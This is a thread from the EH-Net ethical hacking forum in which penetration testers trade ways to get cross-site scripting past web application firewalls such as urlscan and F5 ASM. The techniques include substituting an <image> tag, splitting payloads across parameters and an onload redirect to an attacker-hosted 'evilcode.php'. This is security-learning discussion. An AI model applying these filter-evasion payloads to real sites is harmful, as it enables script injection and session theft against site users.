EH-Net

Hello All,

Has anyone had any success bypassing urlscan when attempting to input xss?  I used the usual NULL %00 and URL encoding.  I even found some papers that said I could try <SCR%IPT> for filter evasion and obfuscation if I was targeting .NET which did not work too well by the way.  If you have a link or paper, I should give a read, I would greatly appreciate it. 

Well, I've never gone up against urlscan before but I just beat F5's ASM XSS filter for the first time, so maybe some of the same tricks will work.

Some of the things I used were:
1. I ditched using <script> because I couldn't get it passed. Instead used<image>. Notice it's not <img>. The WAF would filter <img> tags but not <image> and Firefox would display <image> just fine.
Try iframe, style, and object tags too.

2. Split up the attack between parameters if possible. Break it at key points where the WAF won't be able to understand what's going on.

3. If ()'s are being blocked, you can try redirecting to a server that you own and get your code to run from there. I couldn't load directly to the site that I was attacking and it was filtering most javascript actions, but I was able to use an image tag and slip a "location" in an onload like this:
onload=location="http://server/evilcode.php".

4. I also ran across spots where the letters "http" were filtered. Here you can usually drop the http: and just use //server/evilcode.php.


I don't know if any of that will be any help at all, and may be completely irrelevant to urlscan, but those are some of the things I've learned with evasion and hopefully some of it carries over.

Thanks for the feedback!  I will give this a try today. I never tried the <image> trick against the web app filters. Hopefully good news. I cannot wait for OffSec AWAE to open up.  Anyway, thanks again for the help.